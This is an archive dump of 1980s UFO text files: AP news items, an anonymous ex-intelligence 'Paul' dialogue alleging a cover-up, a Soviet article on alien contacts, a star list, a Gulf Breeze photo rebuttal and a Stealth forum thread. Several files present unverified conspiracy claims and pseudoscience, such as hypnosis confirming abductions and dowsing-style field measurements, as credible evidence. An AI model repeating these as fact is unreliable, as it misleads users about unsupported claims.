"Very simply, from a mathamatical translation, we can assume this was an
ancient spacecraft, or even a planet. It was looking for some kind of beacon,
a signal, to guide them out of danger. This whole thing is mind-boggling,"
said the astronomer.
"My Soviet counterparts have done the majority of computer translation and we
have been working night and day to pinpoint the source of the signal."
"Our initial calculations have shown, and we may may be proven very wrong
later, that the signal was sent at least 50,000 years ago, and maybe longer."
"My colleagues feel and we must have more conclusive analysis of the message
before we publish a report. I disagree. Both our goverments are briefed on our
progress constantly. I feel the whole story should be made public now!"
"It is conclusive proof, to me, that mankind is not alone. I only wish that I
could go into further detail. There is much more to this story and more of the
signal to be translated"
"But I will say this, when this goes public, it will have one of the greatest
effects on the human race in history! It could even bring about world peace",
said the unidentified astronomer.
Both U.S. and Soviet goverment spokesmen refused to confirm or deny that
scientific research into an alien message was taking place.
The Soviet spokesman, however, said that "Our goverment is constantly seeking
new information from space, and that it includes scanning for radio signals of
any kind. It is not inconceivable that our advanced equiptment could pick up a
message of this sort. I am just not at liberty to discuss it any further at
this point."

47
textfiles.com/ufo/spacinv.ufo Normal file
View File

@@ -0,0 +1,47 @@
09-May-88 09:09 EDT
Sb: APn 05/05 0214 Reagan-Space Invaders
Copyright, 1988. The Associated Press. All rights reserved.
By TERENCE HUNT AP White House Correspondent
WASHINGTON (AP) -- President Reagan says he wonders what would happen if the
Earth were invaded by "a power from outer space," and imagines that it would
unite all nations of the world in a common defense.
He made the comment Wednesday in Chicago during a question-and-answer
session after a speech about human rights and the Soviet Union.
His telling of the story followed one day after the disclosure that Nancy
Reagan has consulted an astrologer about the president's schedule and travel
plans. Several members of Congress chided Reagan about the use of astrology and
a group of scientists complained that it was a discredited practice.
Reagan, asked what he felt was the most vital factor in international
relations, spoke of the importance of frankness and about a desire for peaceful
solutions.
He went on to say that there had been "about 114 wars" since World War II,
including conflicts between smaller nations.
"But I've often wondered, what if all of us in the world discovered that we
were threatened by an outer -- a power from outer space, from another planet,"
Reagan said.
"Wouldn't we all of a sudden find that we didn't have any differences
between us at all, we were all human beings, citizens of the world, and
wouldn't we come together to fight that particular threat?" the president
asked.
The president found an analogy in the threat of nuclear destruction.
"In a way, we have something of that kind today, mentioning nuclear power
again. We now have a weapon that can destroy the world, and why don't we
recognize that threat more clearly and then come together with one aim in mind,
how safely, sanely and quickly can we rid the world of this threat to our
civilization and our existence?"
The comment drew applause from the audience, a nonpartisan group that
specializes in foreign policy and national security issues, the National
Strategy Forum.
As his next summit with Soviet leader Mikhail S. Gorbachev approaches,
Reagan has been emphasizing the need for arms control in particular and for
cooperation among nations in general.
In light of his past anti-Soviet rhetoric, he offered startling praise for
Gorbachev during his speech Wednesday, saying the Soviet leader's reform
programs are "of tremendous significance."
"It is my belief that there is hope for further change, hope that in the
days ahead the Soviets will grant further recognition to the fundamental civil
and political rights of all," Reagan said.


1172
textfiles.com/ufo/speaket.txt Normal file
View File

File diff suppressed because it is too large Load Diff

174
textfiles.com/ufo/spook.ufo Normal file
View File

@@ -0,0 +1,174 @@
A Dialogue with a former member of the Intelligence Community
This summer, while on vacation back to my families residence, I encountered a
family friend that I had not seen since 1973. For obvious reasons I will not
identify him, but for this record will call him "Paul". Paul is retired from
over 30 years of distinguished government service, is a widower, and is one of
the most closed mouthed men I have ever known. When I first came back from
Viet Nam in 1972, I saw Paul at a family get together, and even though he was
just back from South East Asia, he never mentioned it. I found out through his
brother. When I went back east, I had taken a number of text files from my
records, for my sister, who is fascinated by the subject of UFO's. It so
happened that one evening, my sister and I and wife and another friend, Bob,
were sitting outside my mothers house, and were discussing several of the
files that I had taken back. Paul stopped out at the house, as he was going
to a function with his sister and my mother. He sat down on the patio with
us, and as usual, did not say much. My sister was reading the file concerned
with the Majestic 12 papers and making some comments, that if this file was
for real, the implications of alien contact could be staggering for the world
if verified. At this point Paul leaned forward and asked if he could see the
papers. My sister passed several of the texts to him, and until he left, he
spent the remainder of his time reading them. Just before he left, he got me
off to the side, and asked how I was involved with UFO's. I told him that I
was an investigator for MUFON, and was involved with a computer network system
with Paranet. This was the first of several conversations I had with Paul,
and I don't ask anyone to believe it, because, frankly, I have problems with
several things he told me. And you may wonder why Paul would tell me
anything, considering his government service, and the agency he worked for.
To begin with, Paul is very ill, the last time I spoke with him, he told me
that he doesn't expect to be around for more than 18 months, maximum. Next,
he told me that he never agreed with all the secrecy that surrounded the
government and the subject of UFO's. And lastly, what he hinted at was
actually occuring seemed to haunt him. As he said, there wasn't a hell of a
lot that even the government was able to do about the situation. I present
the following, and you can make up your own mind about whether to believe or
not.
This summer past ( 1988 ) was the 20th reunion of my High School. This
was the reason that I traveled back, and besides, my wife is in love with the
east coast. While back, I became ill, and ended up spending almost two weeks
in the hospital. Paul came and visited me, and this is how we ended having
the several conversations that we had.
Paul at first asked if I realized what dangers were present in the subject of
UFO's. I said "No", but I had heard rumors that this could be the case. He
said you damned betcha it could. "If you stumbled over the right
information you could end up among the missing, and Don, this sure as hell
wouldn't be the first time."
I asked him how he came to know so much about the subject, and he said with
the job he held, it was his business to know about a lot of things. I then
said come on Paul, I had dealings with spooks while in Viet Nam, so don't try
that line on me. He told me then, that this was to his knowledge, still one of
the most highly classified subjects in the intelligence community . That
brought to mind the "Smith Memo" from the 50's, and I relayed it to Paul. I
mentioned that Smith had stated that the subject of UFO's had been rated
higher than the H bomb, and in perspective, was this still the case? Pauls
reply follows, and for the purposes of this file, I have condensed into one
session our talks.
In the 40's, when the "flying saucer" scare started, the military and
government were concerned that it was possible that the Soviets had made a
breakthrough in technology with their German scientists, that our German
scientists had not been able to duplicate. It then became evident that this
technology was above and beyond what we were able to achieve, so the
phenomenon had to come from outside. For a while there was a deadlock as to
what to do, but then apparently the military was able to secure one of the
craft. I asked Paul if he meant Roswell, and he only smiled. He said to read
the MJ 12 stuff again, that there were enough facts to get an idea of what he
was talking about. After that, it was apparent that the technology was well
above what we were capable of. There were fears among certain people that
this could be the prelude to invasion, or possibly even worse. Others saw
this as a straight shot to technology that we couldn't even dream of, and to
exploit everything we could out of it. Paul stated that there was a genuine
fear that if the Soviets could get one of these, and exploit it, the United
States would be in deep excrement. There was a "think tank" that was set up,
and the decision for secrecy was understandable in that scenario. Many of
these craft were flying over nuclear installations, and one thought at the
time was that they could be after uranium among other things, if they were, as
believed then, coming from a "dying" planet. I asked if at that time, were
they considered to be benign, and Paul said yes, they were, but then several
things happened to change that idea. He would not elaborate, so I mentioned
the Mantell incident, and he said that is the most well known case, but there
were others, and some very bizarre.
The think tank that was set up in the 40's were concerned that some of these
cases would become public knowledge, and they still remembered the "War of the
Worlds" scare that Wells threw into the public in 1938. They did not want a
panic that could affect the nations security, commerce, industry, finances
and so forth. The result was to debunk the whole damn thing, and hope it
would either go away, or they could solve it in time before it did become
public knowledge.
I asked Paul about several cases that I read about in "Clear Intent", one of
them being the Cuban Jet Incident. Paul said that he had heard about that, he
wouldn't say much, but this is not the only case where one of these objects
had shot down aircraft, "and it didn't all happen outside the U. S. either".
"Look", he said, "if you were out in a very primitive area, and were lost, or
hungry, or what ever, and came across a primitive native tribe, and I mean
compared to you, really primitive, would you trade with them, or take what
you needed, food, women, whatever, IF YOU WERE VERY AMORAL?" "Look, if in
this case, you regard these natives as less than dirt, and the only thing they
have in common is that they have what you NEED." You are familiar with the
animal mutilations aren't you? Many people think that this was a government
sponsored operation, testing chemicals or something. Well, it wasn't, and
farm animals are not the only thing that has been tested. The guys I know
that are still active have said that right now, is one of the biggest "UFO
flaps" that they have ever heard of, and there is a lot of concern as to how
long it can be kept secret.
I hated to break in on Paul when he was talking this freely, but had to ask
about the reported astronaut sightings. Yes, there were sightings on damn
near all the "shots", and it was always feared that the news services would
pick up on some of the reports. We did a damn good job of damage control
though. "Well Paul, what about reports that these things have been seen on
the moon?" I asked. "Yes" he said, "they have been seen there, and some of
this has come out, so I don't think I am breaking any oaths, but , haven't you
asked yourself why after all the billions of dollars that we had spent to get
to the moon, after the early 70's No one, us or the Russians, have gone near
the place." Yes, I admitted, I had wondered why, and then asked him if he
knew why. Paul just smiled and then pointed to the file that contained the
Lear Text. "You know", he said, "this guy has hit pretty close on several
points, and I wonder if anyone has approached him?" I asked what he meant,
and he looked at me and said "Don, you know what I mean, and after all, if a
lot of the general public became aware of this, they would scream like a
mashed cat, and demand to know what the hell the government is doing about it.
The problem is, there are some that still think that they can control events
and keep a lid on this, and others that know we are way in over our head and
are looking for a way out." Alright then, what are these things, where do
they come from, and what DO they want? I must have looked pretty exasperated
then, and Paul looked at me and gave me kind of what I thought was a sad
smile. "Don" he said, "I don't know where they come from, as to what they
are, they are very different, and as to what they want, you are gonna sleep a
lot better if I just go." And he did leave then.
I haven't talked to Paul since I got back home, and just several days ago, I
got word that he had a heart attack and is in very poor condition. I have
wondered about a lot of what he said, and have decided that in lieu of keeping
the whole thing to myself, I would put it on my word processor, and then make
a decision whether to release it or not.
Paul had stated on several occasions that this subject had the potential to be
be very dangerous, and to be careful of pursuing it. "With access to the
right information, if it became known, people have disappeared." I don't
think he was just trying to scare me, the guy had been a professional
intelligence agent for longer than I have been alive, and I am sure he knew a
hell of a lot more about this, than I would even want to. He had mentioned
several things, that even now I hesitate to put down, but the thing that
inclines me to accept what he said, was knowing a bit of what kind of man he
was, he seemed haunted and scared.
Well, in light of several things that have occured recently, with the "New and
Improved" BlueBook, which I might add I distrust wholeheartedly, the meltdown
within MUFON, the continuing "flap" that doesn't show any signs of slowing
down, much less stopping, and the fragmented community of UFO investigators, I
discussed this with my better half, and have decided to throw it out, and see
where it landed. Take it for what it is worth, and remember, I have just
relayed what I was told, and I did warn you up front that this was almost
beyond belief.
Anyone with any additional information is requested to contact me in care of
Paranet RHO at 1-208-338-9187.
Don F. Ecker-State
Section Director
MUFON, for the state of Idaho.


302
textfiles.com/ufo/sputnik1.ufo Normal file
View File

@@ -0,0 +1,302 @@
======================================================================
<<UFONET I>> * 416-237-1204 * PC-Pursuitable * File Requestable * HST
* 24 Hour Operation * Sysop - Tom Mickus * Toronto * FREE
======================================================================
======================================================================
SPUTNIK1.TXT - "Time To Study The Facts"
- by Mark Milchiker, a biophysicist
======================================================================
Note: The following article was excerpted from the October, 1989
edition of "SPUTNIK", the monthy digest of the Soviet Press.
It is published in the Soviet Union, and translated into
several languages, with of course English being one of them.
The following article was "abridged" from the Soviet language
magazine, "Priroda I Chelovek". If someone is interested in
the full text of this article, perhaps they could try to
obtain a copy of the above magazine and have it translated.
The following article also contained about a half-dozen photos
of various UFOs pictured over the Soviet Union.
- Tom Mickus 11/20/89
======================================================================
TIME TO STUDY THE FACTS
-----------------------
The above epigraph, which belongs to an outstanding scientist
of our time and the founder of world cosmonautics, clearly shows what
he thought of the fairly mysterious and debatable problem of the
possible contact between earthly, human civilization and intelligent
beings from extra-terrestrial worlds.
Indeed, have non-earthmen ever visited our planet? Are contacts
with them maintained today? Are such contacts possible in the future?
These questions stir many people, especially enthusiasts researching the
problem. I will try to answer these questions and outline the appropriate
little-known views of Tsiolkovsky. This great schooteacher of Kaluga
not only foresaw mankind's egress into outer space, but also, long before
the commencement of the Space Age and the huge growth of interest in
"visitors", declared that extra-terrestrial civilizations could exist
and make contact with mankind.
Unfortunately, there is no telling what facts collected by "people
whose judgement may be relied upon" Tsiolkovsky had in mind. The
scientist did not specify them. But the phrase itself is highly significant,
suggesting that appropriate facts existed even in his days, that people
collected and tried to analyse them over half a century ago! And what
is the situation now?
It is known that twenty years ago groups of researchers all over
the world collected about two hundred and fifty thousand stories about
flying objects, tales of other unorthodox phenomena, and of contacts between
humans and extra-terrestrial beings, referred to as hominoids. If all
these were falsifications or hallucinations, it would suggest that the
world is full of lunatics, wouldn't it? Shouldn't these stories be
carefully studied?
Here is what Tsiolkovsky wrote in 1928 in his work "The Will of the
Universe. Unknown Intelligent Forces:"
"A mass of inexplicable phenomena have been recorded in history and
literature. The majority of them can undoubtedly be classified with
hallucinations and other delusions, but does this apply to all such
phenomena? Now that the possibility of interplanetary travel has been
proven, man should show greater consideration for such 'incomphrehensible'
phenomena. I believe that some such phenomena are not illusions, but real
proof of the presence of unknown intelligent forces in outer space."
Tsiolkovsky categorized as such phenomena, in particular, images
of a geometric figure and a man which had observed in the sky in the spring
of 1886 and the word "ChAU" which he had seen spelled in Russian letters
on the horizon during the sunset on May 31, 1928. Thus, Tsiolkovsky
observed what is known as anomalous phenomena himself.
It all shows that obscure phenomena do exist. Moreover, researchers
have found evidence of possible contacts between humans and extra-terrestrials
in the distant past. I will make bold to say that in our days, too,
thousands of people have seen objects which I call ALO (astra-levitating
objects or objects flying from the stars in the sky).
The eye witness accounts of such phenomena are fairly numerous a
well documented.
A group of enthusiasts in the West has even set up an international
organization for coordinating the study of UFOs - ICUFON (Intercontinental
UFO Galactic Space-craft Research and Analitic Network).
For instance, one of the most recent eyewitness accounts came from
Mozambique. On February 11, 1988, thousands of people in the city of Beira
witnessed an ALO flight.
The object appeared in the sky at approximately three o'clock in the
afternoon local time, hanging over the city. Workers at the local
meteorological station said that the object, which looked like a parachute
and had two powerful sources of light aboard, remained at a height of about
three kilometres and could be very well observed through field-glasses. It
continuously revolved around its axis. From a short distance the object
was observed by the pilots of a passenger plane of the Mozambiquean LAM
Air Company, which, having taken off from the city airport, was then
gaining altitude. Only three hours later did this gleaming object fly away
southwards. Incidentally, this unorthodox phenomenon was also watched by
APN's and Izvestia's own correspondents in Mozambique (see Izvestia,
February 18, 1988).
How can we, scientists, classify the multitude of similar facts?
They are either well-presented falsifications or true stories. Everyone
is free to interpret them as he wishes.
Of course, it would be simple to laugh off all these stories. But
I am not an advocate of such an approach.
It is known that during the first meeting between Mikhail Gorbachev
and Ronald Reagan in Geneva, the US President said that if the Earth was
threatened by an extra-terrestrial invasion, the United States and the
Soviet Union should pool their efforts to rebuff any attack. Was this
just a casually dropped idea, a hyperbole geared to emphasize the importance
of this meeting of the top leaders of our two countries? However, it is
quite possible that President Reagan was not joking at all, that he had
serious reasons for making such a statement.
Possibly, efforts to decipher the ALO structure and manufacturing
technology are being made in the United States, and Americans are working
seriously on the problem of contact with messengers of extra-terrestrial
civilizations. Back in 1981 Dr.Colman S. von Kevietzky, Director of above
-mentioned ICUFON, a member of the American Institute of Aeronautics and
Astronautics (Aerospace), and a former military man, sent to President
Reagan two packages of materials containing proofs of the military activity
of UFO's ("flying saucers"), demanding that the government prevent a fatal
war between the United States and galactic forces. This brings to mind
H.G.Well's "The War of the Worlds", doesn't it?! Von Kevietzky received a
reply from the Assistant to the President for National Security Affairs in
the US National Security Council, Major-General Robert L.Schweitzer, saying
that the President was fully aware of the threat so competently outlined
in Kevitzky's document. Soon afterwards, General Schweitzer was dismissed
- in the opinion of US researchers, under an all too clearly fabricated
excuse. It seems as if the real reason for his dismissal was Schweitzer's
indirect admission of the development of problems connected with contacts
with UFOs in the United States. That cost him his position.
The most curious fact, however, was that long before this happened
the "National Enquirer Magazine" published extracts from statements of
official representatives of the US State Department about a possible threat
posed by extraterrestrial visitors.
In view of the hushing up of this problem, Dr. von Kevitzky made
public all information about UFO activity he had in a Memorandum intended
for the government and peoples of all countries. A press release which
was then circulated warned that the pursuit of UFOs by earthly military
forces could provoke a global Pearl Harbor. The Memorandum said that
instead of the insane slipdown, with all its nuclear arsenals and secret
military missions, towards a war in space, man should realize that he was
not an isolated entity living on a planet isolated in the Universe.
Another press release, issued by the ICUFON jointly with the
Planetary Professionals Citizens Committee in 1982, said that the time
has come to lift the iron curtain of the secrecy surrounding the global
UFO problem. All available documents regarding UFOs should be granted
to interested individuals and institutions.
So that is where the wind blows from. And, as I see it, it was
no fortuity that the US President should suddenly have raised the question
of visitors from outer space. This subject was too serious for high-
level jokes.
I am profoundly convinced of the objectivity and authenticity of
much ALO data, having done fifteen years' research myself jointly with
specialists in various fields. Our research has a public service basis.
We have collected a vast body of information on the sites of presumptive
ALO Landings - eyewitness accounts, photographs, and the data of various
psycho-chemical analyses. At the places of putative ALO landings and
contacts of earthmen with non-earthmen aided by biological detection and
ranging frames measurements were taken of the residual fields induced by
the extra-terrestrial visitors on the ground and in the atmosphere. It
was established that these fields survived for seven to nine years.
Furthermore, we closely questioned those who claimed that they had
been in contact with non-earthmen. The questioning was done under hypnosis
(hypnotesting), the conversations being tape-recorded. To our way of
thinking, such a method made it possible to establish the authenticity of
the contactor's story, to reconstruct forgotten facts, and to specify
details. Of the twelve contactors, four were interrogated using this
method.
The most incredible case of contact was an encounter by driver
V.P.B. with extra-terrestrials near the village of Polushino in the
Mozhaisk District of the Moscow Region. The meeting, it was claimed,
took place on July 28, 1980. The visitors studied the contactor using
a ring-shaped cap placed on his head and connected by cables to a panel.
Then they talked with him. Finally, they told the man that he would
forget about their encounter. And indeed he only recalled it following
a period of great stress. A detailed study of a map depicted by the
contacter which he had seen over the panel aboard the extra-terrestrial
vehicle and which had consisted of nine stars that had formed a hoof-shaped
figure led us to draw the conclusion that this particular ALO had arrived
from the southern constellation of Vela (Sails).
I realize that any sober-minded reader might be persuaded that all
these stories are a mere send-up. Another surprise is the abundance of
proofs of encounters with ALOs and ALOnauts. Such a profusion of facts has
a double explanation: either the earthmen are susceptible to collective
psychosis or extra-terrestrial civilizations really are studying our planet.
There are no other possibilities.
Now let us return to the views of our great dreamer, whose works are
still only poorly known. In many of his writings, Tsiolkovsky tries to
convince his readers that life does exist on other planets, that outer
space is populated by highly intelligent social beings and predominantly
highly developed civilizations. In his "Scientific Ethics" he wrote:
"Since life has appeared on Earth, why shouldn't it have appeared on
billions of other planets having the same conditions as our own? The
presence of life in the Universe is an incontestible fact. To assume that,
apart from man, the Universe is unpopulated and lifeless because we cannot
see its life is a gross delusion." According to Tsiolkovsky, when
civilization spreads from one area of outer space to another, it "creates
a wide variety of breeds of perfect beings -- capable of living in different
atmospheres, at different gravity, on different planets, in a vacuum or
in rarefied gas, living on food and without food - exclusively on sunrays,
beings which resist cold, and beings which resist abrupt and considerable
temperature fluctuations".
But a question arises, why have representatives of extra-terrestrial
civilizations to this day failed to present themselves to mankind with full
visual clarity? As if anticipating this question, in 1933 Tsiolkovsky wrote
on a letter from student A. Yudin of Tomsk: "Attempts of higher beings to
help us are possible, because they continue to be made to this day. We,
people, do not try to convince animals of the irrationality of their life.
The distance between us and perfect beings is hardly any less."
But if we concede that people may encounter probes and ALOnauts, we
should think about making psychological preparations for such contacts.
The importance of such psychological readiness goes far beyond the confines
of cosmonautics proper. Man must form a clear idea of what he wants of
the possible contacts with extra-terrestrial civilizations. Perhaps in view
view of such contacts he should at least cease to silence the problem and
talk about it openly?
It is clear that the problem of searching for contacts with extra-
terrestrial civilizations must pass from the field of purely academic
speculations to the field of scientific research and practical actions not
limited to radioastronomy. It appears that searching for and studying
emergence of ALOs and the presumptive "contact" with representatives of
other worlds should change from a semi-legal gratuitous occupation into
work of serious research teams, which, most importantly, would strive not
to disprove eyewitness accounts, but to search for proofs of such contacts.
Methodologically, such an approach would be more fruitful. The only way
to solve this problem is by using integral methods and by drawing on the
achievements of various branches of science - natural, engineering, and
social. This requires laboratories fitted with special equipment for
searching for, confirming, and meticulously analysing "contacts". This
should be done if only to make the problem cease to be an object of
speculation, science fiction, send-ups, and mystification, so that science
could, with full confidence, declare its findings on the subject.
Incidentally, it should be recalled that Tsiolkovsky was against
any limitation of the sphere of scientific research. Speaking, with his
friend Alexander Chizhevsky, one of the founders of cosmobiology, he mae
indignant remarks about people who regarded as scientific only what they
already "hold in their hands", excluding obscure phenomena from the sphere
of science:
"Man is yet to study the entire Universe, a place which abounds in
unknown and simply obscure phenomena. And yet he is already putting up
fences between the possible and the impossible! Study this, but don't
dare touch that!"
What an apt and absolutely correct summing up of the question!
The entire history of the formation of many scientific disciplines,
including cosmonautics, shows that unorthodox ideas were first denied
acceptance. Research connected with the quest for ALOs is presently at
an embryonic stage. In fact, it is being rejected as absurd because it
"contradicts science".
And how good it would be if the scientific search for extra-
terrestrial civilizations were always keynoted by the words of another
pioneer of Soviet cosmonautics, Friedrich Tsander:
"Who, fixing his gaze on the sky on a clear autumn night, at the
sight of the stars glimmering in it, has not thought that distant planets
are perhaps inhabited by intelligent beings like ourselves but are
culturally thousands of years ahead of us? Innumerable cultural values
could be delivered to the Earth and multiply the treasury of science if
man could transport himself there. What negligible expenditures this
great scheme would require compared to what man squanders!"
===================================== EOF ===================================
=============================================================================
= IF YOU HAVE ANY UFO RELATED INFORMATION THAT YOU WOULD LIKE US TO SEE =
= OR HAVE DISTRIBUTED, YOU CAN NOW SEND IT VIA OUR NEW UFONET FAX LINE. =
=============================================================================
= ------>>> UFONET FAX HOTLINE - 24 Hrs - (414) 351-2075 <<<------ =
=============================================================================


54
textfiles.com/ufo/stars.ufo Normal file
View File

@@ -0,0 +1,54 @@
THIS IS A LIST OF THE 46 NEAREST STARS TO OUR SUN...
----------------------------------------------------------------------------
Star Name: Distance (Light years) Luminosity (Sun=1) Spectrum
----------------------------------------------------------------------------
Tau Ceti 11.8 0.4 G8
82 Eridani 20.2 0.7 G5
Zeta Tucanae 23.3 0.8 G2
107 Piscium 24.3 0.4 K1
Beta Comae Berenices 27.2 1.2 G0
61 Virginis 27.4 0.8 G6
Alpha Mensae 28.3 0.6 G5
Gliese 75 28.6 0.4 K0
Beta Canum Venaticorim 29.9 1.4 G0
Chi Orionis 32.0 1.5 G0
54 Piscium 34.0 0.4 K0
Zeta 1 Reticuli 37.0 0.7 G2
Zeta 2 Reticuli 37.0 0.9 G2
Gliese 86 37.0 0.4 K0
Mu Arae 37.0 0.9 G5
Gliese 67 38.0 1.2 G2
Gliese 668.1 40.0 0.4 G9
Gliese 302 41.0 0.6 G8
Gliese 309 41.0 0.4 K0
Kappa Fornacis 42.0 1.3 G1
58 Eridani 42.0 0.9 G1
Zeta Doradus 44.0 2.0 F8
55 Cancri 44.0 0.7 G8
47 Ursa Majoris 44.0 1.5 G0
Gliese 364 45.0 1.8 G0
Gliese 599A 45.0 0.6 G6
Nu Phoenicis 45.0 1.8 F8
Gliese 95 45.0 0.5 G5
Gliese 796 47.0 0.5 G8
20 Leo Minoris 47.0 1.2 G4
39 Tauri 47.0 0.8 G1
Gliese 290 47.0 0.4 G8
Gliese 59.2 48.0 1.0 G2
Psi Aurigae 49.0 1.5 G0
Gliese 722 49.0 0.9 G4
Gliese 788 49.0 0.8 G5
Nu 2 Lupi 50.0 1.1 G2
14 Herculis 50.0 0.5 K1
Pi Ursa Majoris 51.0 1.2 G0
Phi 2 Ceti 51.0 1.8 F8
Gliese 641 52.0 0.5 G8
Gliese 97.2 52.0 0.4 K0
Gliese 541.1 53.0 0.6 G8
109 Piscium 53.0 0.8 G4
Gliese 651 53.0 0.4 G8
Gliese 59 53.0 0.4 G8
____________________________________________________________________________


62
textfiles.com/ufo/stateposa07.ufo Normal file
View File

@@ -0,0 +1,62 @@
---------------------------------------------------------------------
Note: The following was sent to UFONET by Dr. Willy Smith.
---------------------------------------------------------------------
FROM: Dr. Willy Smith DATE: Aug. 7, 1989
TO: UFO publications, electronic media
Proponents of Gulf Breeze photographs
SUBJECT: Statement of Position
---------------------------------------------------------------------
In mide-June, 1989, the UNICAT Project submitted several photographs
for computer enhanced image analysis. The photos considered fall into
two categories: i) portrait of a girl with an anomalous image above
her right shoulder; and ii) photos of an alleged UFO obtained by Mr.
Walters/Hanson of Gulf Breeze, FL starting in November, 1987.
The results have been spectacular: the girl's photos were undoubtedly
obtained by using double exposure, thus demonstrating the photographers
familiarity with the technique, while the UFO photos show a well-defined
supporting structure under the alleged spacecraft.
The reaction of the interested parties has been swift and predictable.
Instead of addressing the main issue, i.e., why a real UFO needs to
be supported, the proponents have flooded the mails with anonymous and
world-shaking communiques which can be described only as malicious
gossiping, aimed at cushioning the negative impact of the new
information revealed by computer analysis.
The releases follow the time-honoured pattern that what counts in
politics is not the truth, but what is believed to be the truth.
In an attempt to provide a semblance of credibility, names and
circumstances are provided, but no supporting evidence is offered.
Authorship of the masterpieces of intrigue -- I am told -- have been
attributed to various sources, some of them luminaries on the UFO
scene, such as Budd Hopkins and/or his associates, or Dr. Maccabee,
or secondary characters in the play, as for instance Col. Roberrt
(sic) Reid or "Ed-of-Gulf-Breeze" himself. Whatever the case may
be, until such times a signed copy of the statements reaches me,
I will not dignify them with a formal response.
The computer-enhanced material has not been released yet, as some
questions have been raised by the photographer regarding the
copyright protection of the photos, an issue that has been
complicated by the fact that the lawyer that initially contacted
me has indicated that she does not represent Mr. Walters any
longer. In the meantime, information received from the Copyright
Office in Washington has created some doubts with reference to the
validity of the copyright for the specific instance, as well as
disclosing interesting possibilities based on the doctrine of
"fair use.".
------------------------------------------------------------------
FILE NAME: STATEPOS.A07 (as requested by Willy Smith).
------------------------------------------------------------------


52
textfiles.com/ufo/stealth.ufo Normal file
View File

@@ -0,0 +1,52 @@
16-Oct-87 12:05 MST
Sb: APnv 10/15 2240 Stealth Missing
LAS VEGAS, Nev. (AP) -- An Air Force plane that Pentagon sources said was a
top-secret Stealth fighter crashed in a rugged desert area, killing the pilot.
A Pentagon official in Washington who asked not to be named described the
missing plane as a Stealth fighter, similar to the plane that crashed in 1986 in
California.
The source refused to discuss the conditions under which the plane crashed
and it could not be learned immediately whether the plane was on a training
exercise or a flight test.
Nellis Air Force Major Victor Andrijauskas said the pilot was killed when the
plane crashed on the Nellis Air Force Gunnery range about 8:45 p.m. Wednesday.
The crash was about 100 miles northwest of Las Vegas and 50 miles south of a
secret air base where the Air Force is known to test the Stealth fighter.
A dispatcher for the Bureau of Land Management said the BLM was notified of a
fire in the area Wednesday night, and called the Air Force, which operates the
sprawling range facility. The dispatcher, who refused to give her name, said Air
Force officials asked the BLM not to say where the fire was or how big it was.
Andrijauskas refused to say what kind of plane crashed, but said the pilot
was the only crew member aboard. He said emergency crews responded and secured
the area.
"We have personnel on the scene," said Andrijauskas.
The spokesman said the pilot was assigned to Nellis, but refused to say what
fighter wing he was attached to. Nellis is the largest fighter wing training
facility in the United States.
A plane believed to be a Stealth fighter crashed in July 1986 in the western
Sierra Nevada, touching off a 150-acre brushfire in Sequoia National Park. The
crash occurred about 12 miles northeast of Bakersfield, Calif. Air Force guards
carrying rifles and pistols barred people from that crash site.
The F-19 fighter known as the Stealth has been described as an experimental
aircraft using the latest electronic technology, materials and aerodynamic
design to foil radar and infared sensors.
The Air Force has said it will buy 750 of the proposed advanced tactical
fighters, which will be high-technology planes slated to become the mainstay of
the U.S. air defense system through the mid-21st century.
Reports have long circulated that the Air Force tests a squadron of 50
Stealth fighter jets under Nellis auspices at the Tonopah air field about 200
miles northwest of the base.
Recently, a two-mile air strip was lengthened at the small base, and small,
individual hardened hangars were built along the base's flight line.
Residents in the Tonopah area said previously that the flight line remains
quiet during the day. But at night, the desert erupts with an almost constant
thunder of takeoffs and landings at the base.
The Tonopah base is on the northern tip of the Nellis range, which covers
about 3 million acres of desert and mountain areas, and borders on three sides
the Nevada Test Site, where nuclear weapons tests are conducted.
Copyright 1987 by the Associated Press. All rights reserved.


169
textfiles.com/ufo/stealthd.ufo Normal file
View File

@@ -0,0 +1,169 @@
#: 138018 S10/Paranormal Issues
21-Apr-88 07:56:23
Sb: #"Stealth"y UFOs
Fm: Michelle & Charles 76701,11
To: All
I'm sure most of you are aware that the Air Force released information about
the new Stealth bomber yesterday. Based on the information they presented,
one could suggest that some (many?) of the UFO sightings in the Hudson Valley
(again, Kudos to Phil I. for the excellent documentation on the subject)
could, in fact, be Stealth sightings.
Most interesting is the shape of the bomber -- it is a flying wing. You
could, without streching things, call it a flying boomerang. The design does
remind one of the UFOs observed.
This message is not an argument that the sightings in the Hudson Valley were,
in fact, Stealth sightings. I'm just pointing out some parallels...
-- charles
* Replies: 138024, 138051
#: 138024 S10/Paranormal Issues
21-Apr-88 10:03:30
Sb: #138018-#"Stealth"y UFOs
Fm: Michael H. Surabian 75130,15
To: Michelle & Charles 76701,11 (X)
Hi! Have been follwing this forum for a few months and have read most of the
available info in Dl and many of the books discussed. Living in Central MA I
had hoped to be hearing of the sightings or some other activity moving up this
way. Did the Air Force release any info on the capabilities of the Stealth
Bomber in question? I must admit that if this could be an explanation, I'm
really disappointed. Had hoped for something more... ceslestial(?).
* Replies: 138029, 138041
#: 138029 S10/Paranormal Issues
21-Apr-88 13:28:50
Sb: #138024-"Stealth"y UFOs
Fm: Michelle & Charles 76701,11
To: Michael H. Surabian 75130,15 (X)
Not much. They claim that they will have the first units delivered later on,
although, clearly, they've have prototypes since one of them has already
crashed...
If this is the explanation, there's a lot of facts that have to be explained
away that don't readily fit in. (Like the hovering and strange reversal of
course)....
-- charles
#: 138051 S10/Paranormal Issues
21-Apr-88 18:26:33
Sb: #138018-#"Stealth"y UFOs
Fm: Sysop David Bush 76701,75
To: Michelle & Charles 76701,11 (X)
There was a piece on All Things Considered today suggesting that this whole
story was part of an Air Force disinformation campaign. The suggestion was
the the stealth plane acutally looks more like the Revelle model than the
drawing that the Air Force showed.
* Reply: 138053
#: 138053 S10/Paranormal Issues
21-Apr-88 19:51:30
Sb: #138051-#"Stealth"y UFOs
Fm: Michelle & Charles 76701,11
To: Sysop David Bush 76701,75 (X)
It would seem odd that they showed what was, at best, an "artist's impression"
of the plane. If they're that near to delivery, then they should have very
good computerized drawings of the plane, not to mention scale models.
You raise an interesting point!
* Reply: 138073
#: 138073 S10/Paranormal Issues
22-Apr-88 00:41:16
Sb: #138053-#"Stealth"y UFOs
Fm: Gerry Zeitlin 71605,2013
To: Michelle & Charles 76701,11 (X)
Maybe the reason they only released a vague sketch is that they don't intend
to let anyone get a close look at it, for as long as it can be avoided,
because details of its shape are so critical to stealth technology, and we may
be ahead of "the other side" in this technology.
This would mean that the Hudson Valley boomerang could not be a stealth
bomber. Another reason for its not being a stealth bomber is that a populated
area like that would be a poor choice for conducting flight tests.
